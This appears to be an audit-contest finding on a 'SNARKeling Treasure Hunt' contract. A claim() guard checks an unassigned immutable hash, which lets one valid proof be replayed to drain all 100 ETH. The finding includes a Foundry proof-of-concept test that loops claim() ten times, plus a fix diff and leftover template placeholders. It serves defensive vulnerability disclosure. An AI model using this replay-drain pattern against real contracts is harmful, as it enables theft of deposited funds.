SNARKeling Treasure Hunt

First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

claim() checks uninitialized immutable _treasureHash (always bytes32(0)) instead of the treasureHash parameter, allowing a single proof to drain all 100 ETH

Author Revealed upon completion

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences
    The TreasureHunt contract declares bytes32 private immutable _treasureHash but never assigns it in the constructor. It permanently equals bytes32(0).

    The double-spend guard in claim() reads claimed[_treasureHash] — this always checks the zero slot, which is never set to true. Meanwhile _markClaimed(treasureHash) correctly writes the parameter hash — but the guard never reads that slot. The protection is a permanent no-op.

    Description

    • Normal behavior: after a treasure is claimed, claimed[treasureHash] is set to true, and subsequent calls with the same hash should revert with AlreadyClaimed.

    • Actual behavior: the guard checks claimed[bytes32(0)] which is always false, so the same proof can be replayed indefinitely until claimsCount reaches 10.

// Root cause in the codebase with @> marks to highlight the relevant
// contracts/src/TreasureHunt.sol
// @> Immutable declared but NEVER assigned in constructor -> always bytes32(0)
bytes32 private immutable _treasureHash;
// @> Guard checks the ZERO SLOT, not the submitted treasureHash
if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
// _markClaimed writes the correct slot but the guard never reads it
_markClaimed(treasureHash); // writes claimed[treasureHash] = true

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Impact 1

  • Impact 2


    Likelihood:

    • Any holder of a single valid ZK proof can exploit this immediately with no special tools

    • The attack requires only calling claim() 10 times in sequence — no flashloan, no special contract needed

    Impact:

    • A single treasure secret drains the entire 100 ETH contract balance (10 claims x 10 ETH)

    • All 10 claim slots are consumed, permanently locking out legitimate treasure finders

    • The hunt organizer loses all deposited funds

Proof of Concept

// SPDX-License-Identifier: MIT
// Run: forge test --match-test test_C01_FullDrain -vvv
function test_C01_FullDrain() public {
// Load the single valid proof from build artifacts
bytes memory proof = vm.readFileBinary("contracts/test/fixtures/proof.bin");
string memory json = vm.readFile("contracts/test/fixtures/public_inputs.json");
bytes memory raw = json.parseRaw(".publicInputs");
bytes32[] memory inputs = abi.decode(raw, (bytes32[]));
bytes32 treasureHash = inputs[0];
address payable recipient = payable(address(uint160(uint256(inputs[1]))));
vm.deal(recipient, 0);
uint256 before = address(hunt).balance; // 100 ETH
// Same proof called 10 times - drains the entire contract
for (uint256 i = 0; i < 10; i++) {
hunt.claim(proof, treasureHash, recipient);
}
assertEq(address(hunt).balance, 0); // contract fully drained
assertEq(recipient.balance, before); // 100 ETH stolen
assertEq(hunt.claimsCount(), 10); // all slots consumed
}

Recommended Mitigation

- remove this code
+ add this code
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);
- bytes32 private immutable _treasureHash;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!